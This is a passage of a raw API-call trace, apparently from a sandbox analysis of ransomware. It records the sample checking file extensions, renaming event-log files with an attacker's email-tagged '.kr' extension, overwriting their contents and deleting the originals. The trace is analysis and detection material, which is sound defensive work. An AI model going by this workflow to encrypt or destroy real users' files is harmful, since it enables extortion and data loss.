[0098.290] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.290] SetEndOfFile (hFile=0x33c) returned 1 [0098.291] CloseHandle (hObject=0x33c) returned 1 [0098.291] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0098.292] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0098.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.292] lstrlenW (lpString=".doc") returned 4 [0098.292] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.292] lstrlenW (lpString=".docx") returned 5 [0098.292] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.292] lstrlenW (lpString=".pdf") returned 4 [0098.292] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.292] lstrlenW (lpString=".xls") returned 4 [0098.292] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.292] lstrlenW (lpString=".xlsx") returned 5 [0098.292] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.292] lstrlenW (lpString=".ppt") returned 4 [0098.292] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.292] lstrlenW (lpString=".zip") returned 4 [0098.293] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.293] lstrlenW (lpString=".rar") returned 4 [0098.293] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.293] lstrlenW (lpString=".bz2") returned 4 [0098.293] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.293] lstrlenW (lpString=".7z") returned 3 [0098.293] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.293] lstrlenW (lpString=".dbf") returned 4 [0098.293] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.293] lstrlenW (lpString=".1cd") returned 4 [0098.293] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.293] lstrlenW (lpString=".jpg") returned 4 [0098.293] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.294] lstrlenW (lpString=".doc") returned 4 [0098.294] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".docx") returned 5 [0098.294] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.294] lstrlenW (lpString=".pdf") returned 4 [0098.294] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".xls") returned 4 [0098.294] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".xlsx") returned 5 [0098.294] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.294] lstrlenW (lpString=".ppt") returned 4 [0098.294] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.294] lstrlenW (lpString=".zip") returned 4 [0098.294] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".rar") returned 4 [0098.294] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".bz2") returned 4 [0098.294] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.294] lstrlenW (lpString=".7z") returned 3 [0098.294] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.295] lstrlenW (lpString=".dbf") returned 4 [0098.295] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.295] lstrlenW (lpString=".1cd") returned 4 [0098.295] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0098.295] lstrlenW (lpString=".jpg") returned 4 [0098.295] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.295] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0098.295] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0098.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.295] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=2166784) returned 1 [0098.295] CloseHandle (hObject=0x33c) returned 1 [0098.296] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0098.296] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.296] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0098.296] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.297] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0x0) returned 1 [0098.297] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0098.297] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f02058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0098.897] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0098.897] ReadFile (in: hFile=0x33c, lpBuffer=0x3f42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f42058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0098.900] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.900] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0098.900] ReadFile (in: hFile=0x33c, lpBuffer=0x3f82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f82058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0098.924] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.925] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x391fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0099.560] SetEndOfFile (hFile=0x33c) returned 1 [0099.560] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x43aced8 [0100.222] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0100.222] WriteFile (in: hFile=0x33c, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0100.448] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0100.448] WriteFile (in: hFile=0x33c, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0100.450] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0100.450] WriteFile (in: hFile=0x33c, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0100.453] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43aced8 | out: hHeap=0x440000) returned 1 [0100.455] CloseHandle (hObject=0x33c) returned 1 [0102.568] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.569] lstrlenW (lpString=".doc") returned 4 [0102.569] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.569] lstrlenW (lpString=".docx") returned 5 [0102.569] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.569] lstrlenW (lpString=".pdf") returned 4 [0102.569] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.569] lstrlenW (lpString=".xls") returned 4 [0102.569] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.569] lstrlenW (lpString=".xlsx") returned 5 [0102.569] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.569] lstrlenW (lpString=".ppt") returned 4 [0102.569] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.569] lstrlenW (lpString=".zip") returned 4 [0102.570] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString=".rar") returned 4 [0102.570] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString=".bz2") returned 4 [0102.570] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString=".7z") returned 3 [0102.570] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.570] lstrlenW (lpString=".dbf") returned 4 [0102.570] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.570] lstrlenW (lpString=".1cd") returned 4 [0102.570] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.570] lstrlenW (lpString=".jpg") returned 4 [0102.570] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.570] lstrlenW (lpString=".doc") returned 4 [0102.570] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString=".docx") returned 5 [0102.570] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.570] lstrlenW (lpString=".pdf") returned 4 [0102.570] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.570] lstrlenW (lpString=".xls") returned 4 [0102.571] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString=".xlsx") returned 5 [0102.571] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.571] lstrlenW (lpString=".ppt") returned 4 [0102.571] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.571] lstrlenW (lpString=".zip") returned 4 [0102.571] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString=".rar") returned 4 [0102.571] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString=".bz2") returned 4 [0102.571] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString=".7z") returned 3 [0102.571] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.571] lstrlenW (lpString=".dbf") returned 4 [0102.571] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.571] lstrlenW (lpString=".1cd") returned 4 [0102.571] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0102.571] lstrlenW (lpString=".jpg") returned 4 [0102.571] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.572] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.572] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0102.572] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.572] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0102.572] CloseHandle (hObject=0x33c) returned 1 [0102.572] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0102.572] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.572] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.573] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.573] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.573] GetLastError () returned 0x0 [0102.573] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.576] WriteFile (in: hFile=0x340, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.579] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.579] WriteFile (in: hFile=0x340, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x116, lpOverlapped=0x0) returned 1 [0102.579] SetEndOfFile (hFile=0x340) returned 1 [0102.579] CloseHandle (hObject=0x340) returned 1 [0102.582] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.582] SetEndOfFile (hFile=0x33c) returned 1 [0102.589] CloseHandle (hObject=0x33c) returned 1 [0102.589] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.589] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0102.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.590] lstrlenW (lpString=".doc") returned 4 [0102.590] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString=".docx") returned 5 [0102.590] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.590] lstrlenW (lpString=".pdf") returned 4 [0102.590] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString=".xls") returned 4 [0102.590] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString=".xlsx") returned 5 [0102.590] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.590] lstrlenW (lpString=".ppt") returned 4 [0102.590] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.590] lstrlenW (lpString=".zip") returned 4 [0102.590] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString=".rar") returned 4 [0102.590] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.590] lstrlenW (lpString=".bz2") returned 4 [0102.591] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString=".7z") returned 3 [0102.591] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.591] lstrlenW (lpString=".dbf") returned 4 [0102.591] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.591] lstrlenW (lpString=".1cd") returned 4 [0102.591] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.591] lstrlenW (lpString=".jpg") returned 4 [0102.591] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.591] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.591] lstrlenW (lpString=".doc") returned 4 [0102.591] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString=".docx") returned 5 [0102.591] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.591] lstrlenW (lpString=".pdf") returned 4 [0102.591] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString=".xls") returned 4 [0102.591] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.591] lstrlenW (lpString=".xlsx") returned 5 [0102.591] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.592] lstrlenW (lpString=".ppt") returned 4 [0102.592] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.592] lstrlenW (lpString=".zip") returned 4 [0102.592] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString=".rar") returned 4 [0102.592] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString=".bz2") returned 4 [0102.592] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString=".7z") returned 3 [0102.592] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.592] lstrlenW (lpString=".dbf") returned 4 [0102.592] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.592] lstrlenW (lpString=".1cd") returned 4 [0102.592] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.592] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0102.592] lstrlenW (lpString=".jpg") returned 4 [0102.592] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.592] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.593] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0102.593] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.593] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0102.593] CloseHandle (hObject=0x33c) returned 1 [0102.593] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0102.593] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.593] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.593] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.594] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.594] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.594] GetLastError () returned 0x0 [0102.594] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.597] WriteFile (in: hFile=0x340, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.605] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.605] WriteFile (in: hFile=0x340, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x122, lpOverlapped=0x0) returned 1 [0102.605] SetEndOfFile (hFile=0x340) returned 1 [0102.605] CloseHandle (hObject=0x340) returned 1 [0102.608] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.608] SetEndOfFile (hFile=0x33c) returned 1 [0102.609] CloseHandle (hObject=0x33c) returned 